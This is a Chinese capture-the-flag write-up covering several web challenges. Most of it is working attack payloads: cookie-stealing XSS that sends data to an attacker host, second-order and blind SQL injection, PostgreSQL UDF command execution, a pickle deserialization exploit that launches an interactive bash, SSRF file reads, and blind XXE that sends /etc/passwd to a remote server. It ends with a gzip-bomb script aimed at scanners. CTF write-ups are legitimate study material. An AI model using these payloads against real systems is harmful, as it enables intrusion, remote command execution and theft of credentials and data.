By: l3m0n@Syclover
WEB 簽到
http://39.107.33.96:10000
右鍵源碼可獲得提示
第一層用數組
param1[]=1¶m2[]=a
第二層依舊是用數組
param1[]=1¶m2[]=a
curl -v http://39.107.33.96:10000/ -H "Cookie: PHPSESSID=8iflkrd5vocvllro75oekanat3" --data "param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
Share your mind
題目描述
http://39.107.33.96:20000
Please help me find the vulnerability before I finish this site!
hint:xss bot使用phantomjs,版本2.1.1
hint2 : xss的點不在report頁面

可以看到這里jquery.min.js前面沒有/來限制,存在rpo漏洞
被一些同學私聊了一下,可能對rpo沒理解到。可以看下圖,主要是因為路由的存在,導致加載的js是可自己定義的。

以前遇到的rpo都是css方面,因為css語法沒有那么嚴格,所以可以存在很多臟字符,但是js語法比較嚴,頁面內容必須無臟字符才行。
http://39.107.33.96:20000/index.php/view/article/784/%2f..%2f..%2f..%2f..%2f

這里面對一些特殊符號也進行了實體化編碼,所以加載payload就使用了eval(String.fromCharCode(97))的形式
獲取當前根目錄的cookie:
b=document.cookie;a="<img src=//ip/"+btoa(b)+">";document.write(a);
打回來的數據提示Try to get the cookie of path "/QWB_fl4g/QWB/",也就是要獲取不同目錄下的cookie。可以通過iframe來加載,最后來獲取iframe里面的cookie。
var i = document.createElement("iframe");
i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);
i.addEventListener( "load", function(){
var content = i.contentWindow.document.cookie;
location='//ip/'+btoa(content);
}, false);
最后可拿到flag: flag=QWB%7Bflag_is_f43kth4rpo%7D; HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
Three hit
這個題目是一個二次注入,注入點首先是注冊用戶處,age只能輸入數字型,我們可以通過hex編碼一下

獲取flag
POST /index.php?func=register HTTP/1.1
Host: 39.107.32.29:10000
username=l3m0n23&age=0x393939393939393939393939393920756e696f6e2073656c65637420312c2873656c65637420666c61672066726f6d20666c6167206c696d697420302c31292c332c34206c696d697420382c312d2d&password=123456
彩蛋
題目描述
http://106.75.97.46:8080/phrackCTF/
建設報名網站初期,測試人員發現了構建文件中部分jar版本未更新導致的有意思的RCE,git地址:https://github.com/zjlywjh001/PhrackCTF-Platform-Team
rce稍后研究一下,是shiro反序列漏洞
這里也存在一個非預期,就是postersql端口開放了,並且密碼有泄露。

UDF提權
SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e0020000000000000000200000000000020000000600', 'hex'));
insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 3, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 4, decode('xxx', 'hex'));
insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));
SELECT lo_export(9023, '/tmp/testeval.so');
執行命令:
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');

刪除函數
drop function sys_eval
Python is the best language
質量很高的題目,也已經有師傅把writeup寫的很完好了... python writeup
對於python2再做一些記錄
本地搭建flask的時候還遇上點坑,創建數據庫的時候加入下面代碼
SQLALCHEMY_DATABASE_URI = "mysql://root:123456@localhost/flask?charset=utf8"
engine=create_engine(SQLALCHEMY_DATABASE_URI,echo=True)
Base=declarative_base()
...
Base.metadata.create_all(engine)
總共分為三步:
1、繞過沙盒
2、找到觸發點,生成session文件名的規則
3、導出反序列的字符串到文件
第一步出題人誤以為了不導入的模塊就不需要做封堵了,所以subprocess.Popen、subprocess.call可以被調用
第二步,生成session文件名是md5('bdwsessions'+cookie名)
第三步,登錄的時候就可以進行文件導出,導出的時候一定要用dumpfile...被outfile坑了。
abc' union select unhex('aaa'),null,null,null,null,null into dumpfile '/tmp/ffff/59dbc12f95f9e1064020d248ad791c0d'-- -
最后的Exp:
import os
import cPickle
import subprocess
import socket
import binascii
import hashlib
def md5(s, raw_output=False):
res = hashlib.md5(s.encode())
if raw_output:
return res.digest()
return res.hexdigest()
def _get_filename(key):
key = key.encode('utf-8') # XXX unicode review
hash = md5(key)
print hash
print _get_filename('bdwsessionslemon')
# Exploit that we want the target to unpickle
class Exploit(object):
def __reduce__(self):
return (subprocess.call, (['bash','-c','{echo,xxxx}|{base64,-d}|{bash,-i}'],))
def serialize_exploit():
shellcode = cPickle.dumps(Exploit())
return shellcode
print binascii.b2a_hex(serialize_exploit())
當然其實對於觸發,還有另外一種,不需要找到session名的生成方式。

其中entries是整個session的個數,threshold是一個固定的數字,存在config.py里面的SESSION_FILE_THRESHOLD = 1000,也就是當session文件超過1w的時候就會列取所有的session進行一個個的反序列化,也是可以觸發的。

出題人給出了公眾后后面的地址,查看微信公眾號的SDK可以發現可以通過一些xml數據進行發送
import requests
url = "http://39.107.33.77/"
content = "Test http://www.baidu.com TEAMKEY icq3be93d38562e68bc0a86368c2d6b2"
data = '''
<xml>
<ToUserName><![CDATA[a]]></ToUserName>
<FromUserName><![CDATA[1',(select content from note limit 3,1))--]]></FromUserName>
<CreateTime>1348831860</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[%s]]></Content>
<MsgId>1234567890123456</MsgId>
<AgentID>1</AgentID>
</xml>
''' % content
print requests.post(url,data=data).content
通過提示存在注入,可以得到以下信息
<xml>
<ToUserName><![CDATA[1',(select content from note limit 3,1))--]]></ToUserName>
<FromUserName><![CDATA[a]]></FromUserName>
<CreateTime>1521882365</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[Success!
Start Time:You can leave me message here: http://wc.qwb.com:8088/leave_message.php
Over Time:Sat Mar 24 09:06:05 2018]]></Content>
<MsgId>1234567890123456</MsgId>
</xml>
綁定host: wc.qwb.com 的ip為39.107.33.77

其中message存在注入,限制的比較嚴格
POST /leave_message.php HTTP/1.1
Host: wc.qwb.com:8088
user=aaaaaaaaaaaaaaa&email=aaaa@qq.com&team=icq3be93d38562e68bc0a86368c2d6b2&message=1'-(sleep(ceil(pi())))-'1&submit=submit

比如sleep函數參數里面不能用數字,可以使用pi()來繞過,另外就是select from部分。
message=12333'-(if(ascii(substring((select@b:=group_concat(username)from{cl0und.adminuser}),%s,1))like'%s',sleep(pi()),0))-'1
這里字段都需要猜解,猜不到password字段
http://wc.qwb.com:8088/forgetpassword.php
利用密碼找回功能,注入出code,找回管理員密碼
進入后台后,發現有一段上傳處,主要用於用戶的頭像上傳。
文件上傳后便會將圖片的內容顯示出來。

再往后面看htm中有一段注釋。

其中urlink存在ssrf漏洞,沒有限制協議以及后面的字符,當然大部分的特殊符號不能用,只能讀取一些配置文件。
POST /getimg.php HTTP/1.1
Host: wc.qwb.com:8088
Cookie: PHPSESSID=cjq7naar02kajivdftljhj2h44
------WebKitFormBoundaryOXFwabnsGhrKdxyn
Content-Disposition: form-data; name="urlink"
file://wc.qwb.com:8088/etc/apache2/apache2.conf
------WebKitFormBoundaryOXFwabnsGhrKdxyn--
讀取到apache的配置文件,可以看到內容。很郁悶,比賽的時候讀取了這個文件,但是base64的內容沒取完整導致沒看到這部分,還是需要細心...
#<Directory /home/qwbweb/backdoor>
# Port 23333
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
# Here is a Bin with its libc
#</Directory>
剩下的就是文件讀取pwn程序,然后pwnpwnpwn了,太菜了,不會做。
教育機構
這個題目其實特別懵逼,給了一個域名,還以為是要來一場真實環境滲透題,所以信息收集方面都做了。比如掃二級域名,掃端口,掃文件(一掃就被ban)
80端口看的實在懵逼,毫無頭緒。就看了一下33899端口的東西,有一個.idea的泄露,但是並沒有什么用。
http://39.107.33.75:33899/.idea/workspace.xml
內容被注釋了一段xm調用實體的變量,有點想xxe。
還有一個地方就是提交評論的地方,但是無論怎么樣寫入都是alert("未知錯誤!!!請重試")

傳入數組的時候發現出現問題了。

comment處有被userdecode處理過,試一下xml頭,就可以看到有報錯,考點應該就是xxe。
<?xml version="1.0" encoding="utf-8"?>

通過盲xxe,可以獲取到文件。
遠程服務器布置一個1.xml
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">
%int;
%trick;
comment再進行調用
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://ip/xxe/1.xml"> %remote; ]></root>
獲取一下/var/www/52dandan.cc/public_html/config.php
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>
拿到了一半的flag
Ok,you get the first part of flag : 5bdd3b0ba1fcb40
then you can do more to get more part of flag
這里出現了一個問題,就是獲取/var/www/52dandan.cc/public_html/common.php的時候出現了Detected an entity reference loop錯誤。

查了一下資料,libxml解析器默認限制外部實體長度為2k,沒法突破,只能尋找一下壓縮數據方面的。php過濾器中提供了一個zlib.inflate壓縮數據。
壓縮:echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
解壓:echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
這樣就可以獲取到common.php文件源碼了!

再獲取一下機器的一些ip信息,其中arp信息中保留了一個內網地址
/proc/net/arp
/etc/host
IP address HW type Flags HW address Mask Device
192.168.223.18 0x1 0x2 02:42:c0:a8:df:12 * eth0
192.168.223.1 0x1 0x2 02:42:91:f9:c9:d4 * eth0
開放了一個80端口,test.php的shop參數存在注入
<!ENTITY % payload SYSTEM "http://192.168.223.18/test.php?shop=3'-(case%a0when((1)like(1))then(0)else(1)end)-'1">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://ip/test/?xxe_local=%payload;'>">
%int;
%trick;
做不動了,不想做了。
2333,學習了一個防止掃描器的姿勢,如果掃描器爬到test.php,當然對一般的目錄掃描效果不大,一般都是HEAD請求。
test.php
<?php
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
//check for nikto, sql map or "bad" subfolders which only exist on wordpress
if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/'))
{
sendBomb();
exit();
}
function sendBomb(){
//prepare the client to recieve GZIP data. This will not be suspicious
//since most web servers use GZIP by default
header("Content-Encoding: gzip");
header("Content-Length: ".filesize('www.gzip'));
//Turn off output buffering
if (ob_get_level()) ob_end_clean();
//send the gzipped file to the client
readfile('10G.gzip');
}
function startsWith($haystack,$needle){
return (substr($haystack,0,strlen($needle)) === $needle);
}
?>
